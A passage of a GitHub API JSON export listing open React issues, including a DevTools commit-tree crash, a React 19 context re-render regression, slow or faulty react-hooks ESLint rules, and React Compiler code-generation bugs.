Bug] Commit tree already contains fiber \"536\". This is a bug in React DevTools.", "user": { "login": "Rexjun01", "id": 101313174, "node_id": "U_kgDOBgnqlg", "avatar_url": "https://avatars.githubusercontent.com/u/101313174?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Rexjun01", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": { "0": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false } }, "milestone": null, "comments": 4, "created_at": "2025-12-23T08:43:46Z", "updated_at": "2026-03-09T03:51:30Z", "closed_at": null, "assignee": { "login": "hoxyq", "id": 28902667, "node_id": "MDQ6VXNlcjI4OTAyNjY3", "avatar_url": "https://avatars.githubusercontent.com/u/28902667?v=4", "gravatar_id": "", "url": "https://api.github.com/users/hoxyq", "type": "User", "user_view_type": "public", "site_admin": false }, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nnone\n\n### Repro steps\n\n1:Clicking the right side to turn pages results in an error\n\n\"Image\"\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n7.0.1-3cde211b0c\n\n### Error message (automated)\n\nCommit tree already contains fiber \"536\". This is a bug in React DevTools.\n\n### Error call stack (automated)\n\n```text\nat updateTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:699600)\n at getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:698832)\n at $e.getCommitTree (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:703384)\n at CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1005870)\n at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66940)\n at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:97513)\n at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:111594)\n at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184246)\n at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184102)\n at renderRootSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:183886)\n```\n\n### Error component stack (automated)\n\n```text\nat CommitFlamegraphAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1005671)\n at div ()\n at div ()\n at div ()\n at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:879909)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1144384\n at ao (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:898411)\n at div ()\n at div ()\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901116)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901313\n at div ()\n at div ()\n at div ()\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901116)\n at SuspenseTreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1147064)\n at InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:915935)\n at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:994422)\n at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:986233)\n at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:786019)\n at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:815755)\n at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:972480)\n at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1175879)\n```\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Commit tree already contains fiber . This is a bug in React DevTools. in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35402/reactions", "total_count": 17, "+1": 14, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 3, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35397", "id": 3750254251, "node_id": "I_kwDOAJy2Ks7fiFar", "number": 35397, "title": "Bug: Nested providers for the same context will lead to unnecessary render calls when only the outside context value changed (React 19 only)", "user": { "login": "thomasjahoda", "id": 7940641, "node_id": "MDQ6VXNlcjc5NDA2NDE=", "avatar_url": "https://avatars.githubusercontent.com/u/7940641?v=4", "gravatar_id": "", "url": "https://api.github.com/users/thomasjahoda", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-12-20T17:36:35Z", "updated_at": "2025-12-20T17:48:47Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Since React 19, nested providers for the same context will lead to unnecessary render calls for some scenarios. I wrote a unit test and confirmed that React 18.3.1 behaves as expected.\n\nE.g. for the following pseudo-code React component structure:\n```tsx\n\n \n \n \n \n \n\n```\nIf the value provided by the outer SomeContextProvider changes, the innermost SomeContextConsumer will also be rendered. (Actually it will only \"semi-render\", because even though the function is called, the result is ignored.)\n\nIt is probably only an unnecessary detail for most users, but for me it broke some tests which track every single render for performance reasons and it actually causes >1k unnecessary component function calls in some situations because I utilize some nested contexts for some widely used information where it is important that elements are only rerendered when the context value changes. So if the top-level context provider is updated, but another provider between the element and it is not updated, the element should not be rendered. \nAlso, it is very concerning that it executes the component function but ignores the result.\n\nReact version: 19.2.3 (and 19.0.0)\nWorks in 18.3.1\n\n## Steps To Reproduce\n\n1. Open code example below. Execute `vitest` in terminal.\n - The test will fail, because the component was kind of rendered, even though it was unnecessary.\n2. Downgrade to React 18.3.1 by updating package.json and running `npm install`\n3. Execute `vitest` in terminal. The test will pass.\n\nLink to code example:\n\n[Repro code in unit test on Stackblitz](https://stackblitz.com/edit/vitest-tests-browser-examples-akwsn1xm?file=tests%2Freact19ContextsBugMinimalReprodWithUnitTest.test.tsx)\n\n## The current behavior\nThe inner component consuming the React context is called, even though the context value has not changed for it.\n\n## The expected behavior\nLike in React 18.3.1: Only component functions where the context value has changed will be called.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35397/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35395", "id": 3749118549, "node_id": "I_kwDOAJy2Ks7fdwJV", "number": 35395, "title": "Perf: react-hooks ESLint plugin (eslint-plugin-react-hooks) rules are extremely slow, dominating lint time", "user": { "login": "jordan-cutler", "id": 13022754, "node_id": "MDQ6VXNlcjEzMDIyNzU0", "avatar_url": "https://avatars.githubusercontent.com/u/13022754?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jordan-cutler", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 121709921, "node_id": "MDU6TGFiZWwxMjE3MDk5MjE=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Feature%20Request", "name": "Type: Feature Request", "color": "c7def8", "default": false, "description": null }, "1": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" }, "2": { "id": 1249821345, "node_id": "MDU6TGFiZWwxMjQ5ODIxMzQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20ESLint%20Rules", "name": "Component: ESLint Rules", "color": "f7afdb", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 17, "created_at": "2025-12-19T22:30:46Z", "updated_at": "2026-03-08T20:22:48Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "# react-hooks ESLint plugin rules are extremely slow, dominating lint time\n\n- React version: `[email protected]`\n- `eslint-plugin-react-hooks` version: `[email protected]`\n- `eslint` version: `[email protected]`\n\n## Steps To Reproduce\n\n1. Install `eslint-plugin-react-hooks` (the React Compiler ESLint plugin)\n2. Enable the recommended plugin rules: e.g. `reactHooksPlugin.configs.flat.recommended, jstsFiles`\n3. Run ESLint with `TIMING=50` on a large codebase (~15k+ files)\n4. Observe that `react-hooks/static-components` takes 42-56% of total lint time\n\n## Link to code example\n\nUnfortunately, we cannot share a minimal reproduction as this occurs on a large proprietary codebase. However, the performance data should be reproducible on any sufficiently large React codebase.\n\n## The current behavior\n\nWhen running ESLint with the `TIMING` flag on our codebase, the `react-hooks` plugin rules dominate lint time:\n\n```\nRule | Time (ms) | Relative\n:------------------------------------------|-----------:|--------:\nreact-hooks/static-components | 393394.236 | 56.2%\nunused-imports/no-unused-imports | 62579.162 | 8.9%\nredos-detector/no-unsafe-regex | 35114.790 | 5.0%\nimport/named | 24641.617 | 3.5%\nreact-hooks/rules-of-hooks | 16596.903 | 2.4%\n...\n```\n\n**Key findings:**\n- `react-hooks/static-components` takes **~393 seconds** (6.5 minutes) — more than **5x longer** than the next slowest rule\n- The react-hooks plugin nearly **doubles total lint time**: ~3 minutes without the plugin vs ~6 minutes with it enabled\n- With 4x parallelism (`--concurrency=4`), total ESLint time goes from ~190 seconds to ~370 seconds when the plugin is enabled\n- Even if we disable `react-hooks/static-components`, another rule jumps up to take the top spot. It seems to trigger from the plugin itself, not any particular rule.\n\n## The expected behavior\n\nThe `react-hooks` rules should have comparable performance to other ESLint rules. A single rule taking 42-56% of total lint time and being 5x slower than any other rule suggests there may be optimization opportunities in the rule implementation.\n\n---\n\n**Impact:** This performance issue significantly affects CI pipeline times and local development experience. We're considering running these rules as a separate parallel step or disabling them entirely, which isn't ideal.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35395/reactions", "total_count": 21, "+1": 21, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35394", "id": 3748438519, "node_id": "I_kwDOAJy2Ks7fbKH3", "number": 35394, "title": "Bug: `eslint-plugin-react-hooks` hides all errors on multiple findings", "user": { "login": "trapgar", "id": 71718928, "node_id": "MDQ6VXNlcjcxNzE4OTI4", "avatar_url": "https://avatars.githubusercontent.com/u/71718928?v=4", "gravatar_id": "", "url": "https://api.github.com/users/trapgar", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 9, "created_at": "2025-12-19T18:39:27Z", "updated_at": "2026-01-05T00:06:55Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "\n\nWhat kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\nReact version: 19.2.0\n\n## Steps To Reproduce\n\n1. Add `eslint-plugin-react-hooks` to your project\n2. Open a tsx file\n3. Intentionally add a violation of the `react-hooks/set-state-in-effect` rule\n4. In the same file, intentionally add a violation of `react-hooks/static-components` rule\n5. Uncomment 1 of the 2 commented lines of code below\n\n\n\nLink to code example:\n\n\n\n```tsx\nexport default function App() {\n const [foo, setFoo] = useState(false);\n\n useEffect(() => {\n setFoo(!foo);\n }, []);\n\n const ViolateStaticComponents = () => {\n // const [counter, setCounter] = useState(0);\n return (\n

Hello, World!

\n );\n };\n\n // const date = Intl.DateTimeFormat().format(new Date());\n\n return (\n <>\n \n ...\n >\n );\n}\n```\n\n## The current behavior\nIf you uncomment the code on either line 9 or 15, the linter no longer picks up either set-state-in-effect or static-components rules.\n\n## The expected behavior\nBoth lint rule violations are correctly identified.\n\n---\n\nNot sure why the linter breaks on the 2nd `useState` reference, but I think it's breaking on the `Intl.DateTimeFormat` code because `Intl` isn't marked as a global.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35394/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35390", "id": 3746685160, "node_id": "I_kwDOAJy2Ks7fUeDo", "number": 35390, "title": "[Compiler Bug]: useEffectEvent bypasses react-hooks/set-state-in-effect lint rule", "user": { "login": "zyzo", "id": 6483446, "node_id": "MDQ6VXNlcjY0ODM0NDY=", "avatar_url": "https://avatars.githubusercontent.com/u/6483446?v=4", "gravatar_id": "", "url": "https://api.github.com/users/zyzo", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2025-12-19T08:59:05Z", "updated_at": "2026-02-24T07:17:48Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [x] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhASwLYAcIwC4AEwBUYCAogGaUJx4A0JZVNd5AbggHYNMIDKeAIZ4EBAL4FKMCBgIByGAiF15AbgA6XLQgAeOfATgQuYQgGFZOLt0IBeAgAoAlATsA+IloJGTZggDajGR4giIIALpufGGijvLyzpraXD6kFNS0eI4ubp7A3j4EAPTFBBhCMADWCAAmBEJgBEoqeAC0ABYQEFVgxSFtZuFtaFxtCJl0BAgwMjCFPiGxCPGiZonJPuKMARFJWoXGpoQm-AihwqLR6SxZHLY5rh5eqUVLlyvya3gbheL7KTSzEm2VyzwKrx8pQIABtRoQsI0yGAFgRTudli5NhIAYUlHhYKkuFAYTDkuJkiB6CAjpQ0ABzFDobC4Qh4ACeWDExAACjCoPTRgB5LB4NB+CRSGRyeQAIyEsoQMLaWH5grGLTobWM2DQMJmxVqaHWyS0jghUOKOqwepE4q4AFkILUEMgCBoQEJSR6tJIwHawHSEE0+QLhaL7WAklTwF0AO4ASR4My4XrAKEoaYQ4iAA\n\n### Repro steps\n\nCalling setState in `useEffect` is marked as an error per `react-hooks/set-state-in-effect` lint:\n\n```typescript\n const [, setState] = useState('');\n\n useEffect(() => {\n // marked as react-hooks/set-state-in-effect error\n setState('test');\n }, []);\n\n```\n\nHowever there is no lint error if the `setState` is wrapped in an `useEffectEvent`:\n\n```typescript\n const onSetState = useEffectEvent(() => {\n setState('test');\n });\n\n useEffect(() => {\n // lint passes\n onSetState();\n });\n```\n\nThis provides an easy escape hatch for developers who want to bypass the lint rule.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2\n\n### What version of React Compiler are you using?\n\nNo compiler needed. eslint-plugin-react-hooks is 7.0.1", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35390/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35386", "id": 3738704537, "node_id": "I_kwDOAJy2Ks7e2BqZ", "number": 35386, "title": "[Compiler Bug]: .map() callback extracted to module scope breaks closure over locally-scoped variables", "user": { "login": "Omarov3000", "id": 64260942, "node_id": "MDQ6VXNlcjY0MjYwOTQy", "avatar_url": "https://avatars.githubusercontent.com/u/64260942?v=4", "gravatar_id": "", "url": "https://api.github.com/users/Omarov3000", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2025-12-17T12:28:58Z", "updated_at": "2025-12-17T12:30:13Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [x] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAejQAgLIEsB2uAtgIYA2mMCADjBACZRwAuuE+mEAZpgEoIkWmAMIQi1XGQQxMAIygBzADr4MmAIKYuUfCzYd6CLgQT1MBTlGbTMYOBGoI5Ce0QRhMOw8fynz+MFxDTAA6UmoACgBKTDhyMllBAGsVNQB3AAsEDlkIZgzMEip-QOCSWLIIMFgnKmZYXzMuOiJCrUFmCBgATy0dPXYVFWJqLuZMACpCj34OrRbMAHIqDsWh3wAPUZhx7V1WdliV6wAhAnoCBTBozGAVTEw1AEl8XxlXUd98ce8TMws4JVqlR7rF2GBxi83qJxOxssxkHwBCwQgAxYQAHmAmAAbuQoAhERCYJdMABfAB8mAAvJgIti8WQCeSYtSqXcOA9KAh6jAOBiLjiKcBGQSyRi0IKKaCyesHmoAPJWGwfOHfTD5EjjKBgdyYKHSGGfeH+NphEiRKKg+wBcZK6wwI1qhFIjpozHY3DWIhgInMEn4BQAbQAuuSqbT6eZvR4yaz2aCHnUGnTE1yBbghWmubcvQgfebIhE80R47dsznHlgTgBVADiiINjrExvVuA8XiMf0wWWKmWyYPEklMFZzNsgUhClQUEUWTadXwRiwANBruo5uPrXoaW86rZzK1zk3zMBj57vF5gkghutTgCWybj8Qg7w-HtKD5W47LPw8JVK033B4f1BY8OGxe0d1hS8fxA1QsBrMASAUBAVHHcYIOVZtoJNR9aTgY4EDOfALkDa59xUBAtjGTBvBIKAyF2foDg4dRqEtctOTA09IOw1txhLMA7yDRYSBXJZZHExY4EWENHzQD8fxAZcQBtYwFBQEARho5h1ycbEAAUmQUAgFWoFjY3mMQJJIWQEDIABaahjIIByVhYByPmHGBJXbZhFgAbnWelQQwLyyC1fRsAYQlMCUEB4nilRHyQ1gwGMPUjMUUzzP0MAogC5TwAyCA0heB18HIMAUC4KqEDJIA\n\n### Repro steps\n\n1. Open the React Compiler Playground with this code: [LINK](https://playground.react.dev/#N4Igzg9grgTgxgUxALhAejQAgLIEsB2uAtgIYA2mMCADjBACZRwAuuE+mEAZpgEoIkWmAMIQi1XGQQxMAIygBzADr4MmAIKYuUfCzYd6CLgQT1MBTlGbTMYOBGoI5Ce0QRhMOw8fynz+MFxDTAA6UmoACgBKTDhyMllBAGsVNQB3AAsEDlkIZgzMEip-QOCSWLIIMFgnKmZYXzMuOiJCrUFmCBgATy0dPXYVFWJqLuZMACpCj34OrRbMAHIqDsWh3wAPUZhx7V1WdliV6wAhAnoCBTBozGAVTEw1AEl8XxlXUd98ce8TMws4JVqlR7rF2GBxi83qJxOxssxkHwBCwQgAxYQAHmAmAAbuQoAhERCYJdMABfAB8mAAvJgIti8WQCeSYtSqXcOA9KAh6jAOBiLjiKcBGQSyRi0IKKaCyesHmoAPJWGwfOHfTD5EjjKBgdyYKHSGGfeH+NphEiRKKg+wBcZK6wwI1qhFIjpozHY3DWIhgInMEn4BQAbQAuuSqbT6eZvR4yaz2aCHnUGnTE1yBbghWmubcvQgfebIhE80R47dsznHlgTgBVADiiINjrExvVuA8XiMf0wWWKmWyYPEklMFZzNsgUhClQUEUWTadXwRiwANBruo5uPrXoaW86rZzK1zk3zMBj57vF5gkghutTgCWybj8Qg7w-HtKD5W47LPw8JVK033B4f1BY8OGxe0d1hS8fxA1QsBrMASAUBAVHHcYIOVZtoJNR9aTgY4EDOfALkDa59xUBAtjGTBvBIKAyF2foDg4dRqEtctOTA09IOw1txhLMA7yDRYSBXJZZHExY4EWENHzQD8fxAZcQBtYwFBQEARho5h1ycbEAAUmQUAgFWoFjY3mMQJJIWQEDIABaahjIIByVhYByPmHGBJXbZhFgAbnWelQQwLyyC1fRsAYQlMCUEB4nilRHyQ1gwGMPUjMUUzzP0MAogC5TwAyCA0heB18HIMAUC4KqEDJIA)\n 2. The code defines a factory function createBindings() that returns React components. Inside the factory:\n - InnerComponent is defined as a simple functional component\n - OuterComponent uses InnerComponent inside a .map() callback\n 3. Observe the compiled output - the .map() callback is extracted to a module-scope function _temp:\n```ts\n function _temp(item) {\n console.log(\"InnerComponent:\", typeof InnerComponent);\n return ;\n }\n```\n 4. _temp references InnerComponent, but InnerComponent is defined inside createBindings() - not at module scope.\n The closure is broken.\n 5. At runtime, InnerComponent is undefined inside _temp, causing: Error: InnerComponent is not defined\n\n Expected behavior:\n\n The compiler should either:\n - Keep the callback inline to preserve the closure\n - Hoist captured variables along with the extracted function\n - Skip compilation for callbacks that close over locally-scoped values\n\n Workaround:\n\n Adding 'use no memo' to OuterComponent prevents the callback extraction and preserves the closure.\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n19.2.0\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35386/reactions", "total_count": 4, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35381", "id": 3737494567, "node_id": "I_kwDOAJy2Ks7exaQn", "number": 35381, "title": "Bug: I have found one issue on your blog.", "user": { "login": "mahesh-yadav-hipl", "id": 122606561, "node_id": "U_kgDOB07T4Q", "avatar_url": "https://avatars.githubusercontent.com/u/122606561?v=4", "gravatar_id": "", "url": "https://api.github.com/users/mahesh-yadav-hipl", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2025-12-17T06:13:50Z", "updated_at": "2026-01-05T22:44:02Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "I found your blog in issue: \nBlog URL: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components#additional-fix-published\nBlog Title: Denial of Service and Source Code Exposure in React Server Components\n-> In this blog you are added multiple react version. \nThis includes versions 19.0.0, 19.0.1, 19.0.2, 19.1.0, 19.1.1, 19.1.2, 19.1.2, 19.2.0, 19.2.1 and 19.2.2\n-> Issue is your are added multiple time added this version 19.1.2. ", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35381/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35379", "id": 3737138619, "node_id": "I_kwDOAJy2Ks7ewDW7", "number": 35379, "title": "React Compiler generates erroneous code when an app contains a component named `Symbol`", "user": { "login": "devuxer", "id": 1298521, "node_id": "MDQ6VXNlcjEyOTg1MjE=", "avatar_url": "https://avatars.githubusercontent.com/u/1298521?v=4", "gravatar_id": "", "url": "https://api.github.com/users/devuxer", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2025-12-17T03:03:34Z", "updated_at": "2025-12-19T23:12:00Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to 